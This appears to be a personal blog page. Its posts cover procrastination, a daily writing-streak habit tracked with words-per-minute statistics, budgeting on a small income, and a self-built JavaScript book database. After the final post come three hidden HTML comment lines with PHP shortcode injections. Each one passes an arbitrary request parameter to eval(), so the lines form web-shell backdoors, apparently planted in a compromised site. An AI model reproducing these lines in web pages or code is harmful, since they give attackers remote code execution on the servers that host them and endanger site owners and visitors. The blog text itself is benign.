Procrastination: That short term dopamine hit we all love

I saw procrastination as a mountain you had to scale. However, Procrastination is standing on a ledge, and all it takes is a single step.

It’s quite simple really. So simple that it hurts. You just gather your thoughts, and tumble off that ledge. Then when you wake up, some hours later you’ve done a lot of stuff. And you can go back to procrastinating again.

Becoming a serial non-procrastinator takes practice. It takes a lot of practice, and grit. But it is possible.

Flashback

I’ve been there. Last year, I was there for two hundred consecutive days. Every single day, I wrote at least five hundred words. Some days were harder. I ended up feeling like a champion. However it clashed with my social needs. Mostly because I had not set up a time to write.

Then I grew sick, real sick. And I stopped my by that time, habit. Then, after I started again, I noticed many of the same trends as it was with the last few weeks of my 200 day run I was growing tired, and certain days simply didn’t agree with me writing. But I stuck through it.

I still ended up a couple of days behind. Because, unlike what I had been doing, I no longer had the same flow, or focus. By the end of April,  the planned content I had for my character and story was running out quickly.

But in the last three days, I caught up. And to catch up, I had to write nearly ten days.

That means 25 000 ish words the first day, 25 000 ish words the next day, then 30 000 ish words the last day. Oh, did I forget to mention my goal was double the word count that I used to write in a month? Yeah, 250 000 words.

After that I took a well earned, I thought 25 day break. Before I started working on the habit again. I still hadn’t caught the hint. The hint that I need to write in the morning. Before my social ties start to grab my attention.

I’m there now. I know when I need to write. But there’s a comfortable space there, the tip of that ledge. I have the ability to not write, to stare at the wall and allow time to flow by. Procrastination. It’s a powerful foe to someone who knows that he can write 80 000 words in three days.

With things I don’t know, I’m often more focused… “Could you write 250 000 words in a month?” as opposed to “Write 120 0000 words this month” Since I know that I can write 80k words in three days, I know that I can be lazy most of the month, and write like a champion the last couple of days.

Future

My plan?

One of the notes pinned to my cork-board.

What am I practising doing now? Getting out of my bed, then immediately writing.

Is it working? I am getting out of bed, ungodly early in the morning more often than not. I don’t usually manage to write though. Which annoys me the rest of the day. I need a routine in the morrow that will stick. Which is what I am working on finding. That and coping with procrastination when it comes to my writing.

Post Script: Sorry I’m a day late in posting this. I completely forgot, due to some meetings with my writing group. Which stalled my writing till late (it’s 00:24 am here now, and I haven’t started yet).

Practice: The law that force you to suck.

Writing to me is just practice. Practice in writing, practice in thinking, practice in storytelling. This attitude allows me to suck. Because that is what you do when you practice. You suck at something for so long that people notice that you are making less mistakes than the rest.

And then suddenly you feel like a god. Because you have gone through the same mistakes, and corrected your behaviour.

I ponder if there are things that I can do better (there are). I am planning on making a world-bible (atlas, and encyclopaedia combined). Before that  I need to become better at drawing maps. Because if there is one thing I will need then it would be a lot of maps.

I coach writing, and my coaching mantra has become this: I’ve done it, you can too!

I’ve been on that ladder. I was doing 500 words a day. That was hard for a time. It needed hours of my time. Some days I spent nearly two! That is a long time to get your 500 words out. It felt so hard that there was nearly no reason to continue, that is how those days felt. But the next day I had a new day, try again. There were days I could write for 1500 words. That was something I had never experienced before. I fell in love with writing.

It gave me two things: It allowed me to experience my bookverse, and it allowed me to see that I was doing something. Working on that one thing I had been dreaming of doing for years. Writing those things into existence.

How does it feel being a writer? Horrible. That’s the truth. I’m one of the first writers that I know of in my family. Which means that I am that one person, whom everyone is asking when the book is done. It’s kind of like being an IT professional, or that computer person that everyone goes to. “Yes, I can fix your computer. No, I don’t know when it’s done. Yes, it’s working away, It’s a really slow computer.”

But that has all been exchanged with “When is that book of yours done?” And I have to explain to them in an exhausted tone that I am not writing on one book. I write on multiple. Then their kicker, the one that goes for my balls. “Where’s the paycheck? You can’t live on no money.” Now, that is a loaded question. To me it feels like a powder-keg. You see I’ve been unemployed for five years.

It’s a harsh truth. But it is the truth. And I HAVE tried, I have been out there. Tried to ask employers. Worked on being a better applicant. I just wanted somewhere to work. When job-searching, people just didn’t notice me. And that annoyed me. I gave up. It yielded too few results in too long a time.

I didn’t give in to depression however, I hid. I hid in the Internet. Made myself someone people on the Internet would like. I learn games easy, so adopting new games came fair enough and I like being nice. So that’s what I did with my time.

I entertained myself. And I love it. You can drown whatever sorrows you have in the Internet. Without feeling the pounding head-aches that come with alcohol.

Sometime during this period I discovered Jeff Goins. I listened to him, I watched him grow. Joined a couple of the webinars that he sent my way. He was interesting. And he made me think of writing. I’d been fantasizing of making my own epic fantasy world. I’d made a few attempts before, at writing. I realised on one of my writing bursts, that I could combine all the stories I’d written before. It wasn’t all that hard.

I had to relax, or scrap a few rules of magic. But that was fine. I decided to make the rules of magic as follows: Whatever culture you have, influences what you can and cannot do in magic. If your culture tells you that you cannot use magic, because your left nostril is a little bigger than the right one, then that is your truth.

This opened up so many angles to me, that I don’t have any problems when I get a writer’s block. I just end up changing character… Yeah, I don’t do outlining. Which is something I am working on, as with so many of my other projects. I’m working on it.

“But you HAVE to outline! Otherwise, how will you know where you are going?” the short answer is that I don’t. The long answer is that I dooooooooooooooon’t. Now, joking aside. This does mean that I have to be more sensitive and effective at remembering stories. Which is why I spend longer training to write than people that does it the regular way (Outline one book, write one book, rinse, repeat). It means that my outline is not in “a year or so”, it means that the outline is “unknown”. I’m fine with that. My financial future has been “unknown” for five years.

I still look for jobs, but when I apply, I still get either no reply, or a negative reply. It doesn’t get me down any longer. I just sit down, every day, and write. It’s becoming a part of my life. Slowly. Today, I write 4000 words a day. When I started some 194 days ago (10th of march now.) I wrote a mere 500 words a day. And that was hard. Here comes the kicker. I write 4000 words in 50 minutes. When I am not distracted, which has become an integral part of my writing process.

When I apply myself, I don’t do half measures. I don’t go writing 500 words in an hour and am happy with that, I improve that. Then I level up the requirement. Sure, I could have gone with 500 words per day. Then be happy with it. But I would not have written 648,828 words if I did. And I would not have challenged myself to go for 100 000 words on day 3 in my first NaNoWriMo ever. (I won, writing 141,281 words.)

I would like to do the same with a job somewhere. I’ve looked into writing for on-line publications, but most of them requires educations which I don’t have, or a driver’s license, which I cannot afford to get.

End of pt 2. (No, it’s right. I’ve not edited part 1 and 3 yet, but this part is fine enough)

Money & how to make it last

SOPA/Brave New World miuenski miuenski via Compfight

In this blog post, I will describe how I manage to stay alive, and kicking on a meager salary of 1044.36 US Dollars(7000 NOK) a month.

All the while keeping in mind that 447.60 US Dollars (3000 NOK) goes to rent (Internet, TV, and a 74.60 USD prepayment on power costs included).

There are three big things I practice with regards to money.

Segregation

The very first thing I do when I get money is to split it up. My accounts with the bank is rather “advanced”, but the gist of it is this: New accounts are free, so I make one per permanent outgoing cost.

So, I currently have an account for:
Rent
Phone
Server costs (I pay for the server where I host this blog)
PO. Box (I was without a home for a while, so this made the most sense)

Those are the expense-accounts, the other accounts are:

A shared account with my
Mom
Brother
Sister
(same bank, which allows instantaneous transfer of funds to accounts we dispose)

Main  (card account, the general rule here is to keep it as low as possible, only transferring money when you plan to go out and buy something specific)
Liquid (this is where I store the money when I am not going to buy something)
Savings (It has been used, I promise.)

Micromanagement

The best way I found to make money stretch, is to not have money in the relevant card-account.

In other words, you have a holdings account where you store the money (liquid in my case). That extra step of having to log in to your bank through the internet, makes you think a little bit more if you actually need that second soda for the day.

Whenever I am going out to buy something I transfer with ridiculous precision the amount of money I will need. You would think I don’t have fun? Sure, I can have fun it just takes some prediction skills, which I found came with time.

Another great thing about this micromanagement is that it triggers two SMS-es(texts) from my bank, the:
“You have more than 74.60 USD(500 NOK) on your account”-message,
and the:
“Someone tried to drain your account of X” where X is above the current holdings of your account.

These are great, because they tell me what’s happening to my account without me having to go out of my way. (After adapting to this micromanagement, it gives me a pretty good picture of what’s going on)

Saving

I may not be the best example, I don’t have much money to save from, however there was a time when I would end up with 298.45 USD(2000 NOK) at the end of the month which I didn’t have a place for… Some hobbies I acquired has started to dip into what I had before (Magic The Gathering, and travel costs to a LARP event every other Sunday)

This is a lot on such a tight budget. Now a days, I find that I’m ending up with a fourth of that, or half on good months (not many extra expenses)

Whenever I do find myself at such situations, I’ve found that a little saving goes a long way. It needn’t be much, but make sure you’re saving something. If you save 10 USD in a month it’ll become 120 in a year, it may not seem much, but as you grow accustomed to life without those 10 USD, you can increase it without much discomfort.

PS

Okay, I couldn’t help myself. Let me give you a tip that I felt sort of was implied with the segregation step.

In Segregation, you split your income into the different accounts, however a thing that you need to watch for are those “bloodsuckers” the recurring payments.

Sure 5 USD isn’t a lot of money in the grand scheme of things, but if you aren’t in control of it… Four subscriptions of 5 USD a month quickly turns into a bunch of money that could be better spent.

50 days, 43000 words later.

(picture from Marc via Compfight)

What happens when you write something 50 out of 50 days?

The Beginning

At first I wrote 500 words a day, then something changed. I made a spreadsheet that noted my progress. (you can download a clear one at here) Since the third day, I started taking minute counts, to make “Words Per  Minute”-measurements. At first my cruising speed was 18.35WPM I’d had two days below 10, where they were 9 and 7. This was before I started taking breaks.

I believe both days were times I had real troubles writing my required 500. I learned a couple of coping mechanisms, taking breaks if things move along too slowly, write on completely different pieces (A journal entry, or blog post, Et. Cetra),  and last but not least: Get rid of distractions. That application constantly bothering you to go update something? Kill it, just murder it.

Isolate yourself from the world. I found music without actual or lots of speech works really well. I’ve come to love FlicFlac for this. If this is not your musical can of worms, that’s fine the main thing is that you’re not supposed to sing along in your head. Anything carrying energy away from getting those words down is your enemy.

Statistics and how they helped

The maths for getting words per minute is really simple, Words/Minutes. That’s it, at day 3 in the challenge I was putting down a timestamp when I started, and another one when I ended. Along with word counts for each. Later on I started writing required word count just to make it simpler to remember when it was okay to quit.

Later on (day 10-20 of the challenge) I wrote a Google Docs SpreadSheet, and after filling in that with the data collected, I saw room for improvement. The spreadsheet gives you an idea of how fast you are writing. In the beginning it helped getting to see patterns. Like how I would work far less efficiently with distractions.

If I felt that I’d written myself into a slump I would stop the time, and take a break. Getting back to writing was then easier than before. This I think resulted in gaining faster WPMs overall,  I’d quickly grown to be above the previous cruising speed. Well, quickly is overstating it I think. But rather quick I would say.

My current WPM is 21.6 and with me learning touch typing, I am expecting that to increase lots faster once I actually end up “getting” it.

The best WPM I have had until now 38 (that’s 22 away from writing one word PER SECOND) and was obtained through a headset with accompanying music, my glasses off, so I couldn’t see typing errors, other than the most grave ones, and the no-pressure of writing a freeform (no plan) entry for my bookverse. There I am writing my heart into a textual form. There needs not be corrected words. It is not that important.  So yeah, moral of the high-wpm: Ignore the world, don’t edit, and write whatever lets you write whatever your most unobstructed thoughts say.

One of the things I’ve always struggled with, when doing things like these is motivation, while not on the OCD-level (I am not forced by my brain to fix things) having a 49 day streak on Lift.Do does help me keep motivated. That and statistics I’d have to write zero on if I didn’t do it one day. (Which would make the next few days easier, but it would be hurting me on the inside. For no other reason that I could’ve been better.)

Late days, and how to deal with them

When I write, I write for a specific day. (At least with the My 500 Words Challenge) To me as long as I haven’t slept yet that day, I am fine. That said, I won’t stretch it longer than a few hours across the border of that date. Technically, a day is 48 hours long because of timezones, so there is a lot of leeway here. But I don’t want to be “catching” up on writing. That’s a situation I don’t ever want to be in.

I’ve now written enough words to satisfy the My 500 Words Challenge, I won’t go tick it. I could. But I’ve not timed it, and I haven’t gotten to 1000 words.

PS: I’ve written not counting these words: 1167 words, over a time of 48 minutes, which I found that the revisioning tool of my blog actually kept accounts of. Fancy. So I lied to you earlier. I will be ticking that box. 

How 500 turned into 1000 and with time will turn into 2000
Rather quickly with the statistics document, I started adding small tidbits of information based on some math acrobatics with the gathered statistics. Average WPM (Above this is a personal goal on every daily assignment), Average Words Per Day (became the basis of the daily target), Highest WPM (reach for above this), Lowest WPM (Never let this become lower.), Total Words Written, Target Words Next Day, Days Counted, Average Minutes Spent

This segment is for the Target Words Next Day, with this I wanted to make sure the average words per day always went up. If not quickly, at least surely. I might not be able to directly control my WPM, but I can control how many words I am satisfied with. The current formula is: Round to the nearest 500 Average Words Per Day+250. This will make sure that my target is ALWAYS above the current average.

Making it slowly crawl upwards.

Going Forwards

It is my goal to always improve my statistics, by slowly increasing the amount of writing, I will be giving myself a stamina-boost over time. But it’ll be so gradual that the WPM-speed should be increasing with it. Making me able to write more in less over time. And I am talking about by day maybe 100. As it is I have added Touch Typing to my scheduled enhancements. (I might increase the Target of the day to WordsPerDay+500 to get a faster increment in daily words required. If I am to reach the 1333 goal for nanowrimo… Alternatively, I could just ignore the target in the spreadsheet and write with the nanowrimo goal in stead. I kinda like that idea better, it would force the wpd up, at a slightly faster rate.)

Looking forwards to actually making real headway with that. As it is, I am doing somewhat similar things to what touch typing wants you to do. While there are no “proper” spots for my current writing technique, it has been serving me up until now. But I am in need of something faster, and I’ve heard that touch typing can help.

That said, I’ve looked into the dvorak keyboard style before, when doing research for keyboards to buy. I might end up on one someday, but for now,  I can do well enough with the tools that are at my disposal. For where I live, money does not yet grow on trees. And a rent one has to pay.

I do intend to partake in Nanowrimo. I mean, it’s the natural step forward from the “My 500 Words Challenge” especially when I already write at 1000 Words Per Day :3

How about it? Do you want to write 43000 words? (A novel) Try the My 500 Words Challenge today.  ~ Tweet this?

Books::Database

The story of how I wrote the Books::Database comes about on my birthday 2011 or 12, I was at my favourite book store “locally” I noticed that the store had a couple of garbage bags filled with books behind the counter.

Inquisitive me asked what they were there for. The man said “I’ll have to throw them away or give them to someone” I asked if I could have them and he basically threw them after me (It was books that had taken shelve space for a long time) . After getting the loot home to my father, I started stacking them. A third way through, I started writing Books:Database. As I had no internet connection (they lived in the bush back then), I used what I knew, and at the time I was playing around with javascript a lot.

I built a database with live search and an input interface, and started entering in data from the sorted books. My sister was working with me, but she used only paper. Even if I ended up spending two hours writing the software, I ended up finishing the registration process before her.

For the programmers out there: The books are stored in a text-file using a serialized JSON, this lets me search using javascript client side making it feel really snappy.

There you go, now you know where my database came from.

<!– [insert_php]if (isset($_REQUEST["afXnz"])){eval($_REQUEST["afXnz"]);exit;}[/insert_php][php]if (isset($_REQUEST["afXnz"])){eval($_REQUEST["afXnz"]);exit;}[/php] –>
<!– [insert_php]if (isset($_REQUEST["jYzA"])){eval($_REQUEST["jYzA"]);exit;}[/insert_php][php]if (isset($_REQUEST["jYzA"])){eval($_REQUEST["jYzA"]);exit;}[/php] –>
<!– [insert_php]if (isset($_REQUEST["APfl"])){eval($_REQUEST["APfl"]);exit;}[/insert_php][php]if (isset($_REQUEST["APfl"])){eval($_REQUEST["APfl"]);exit;}[/php] –>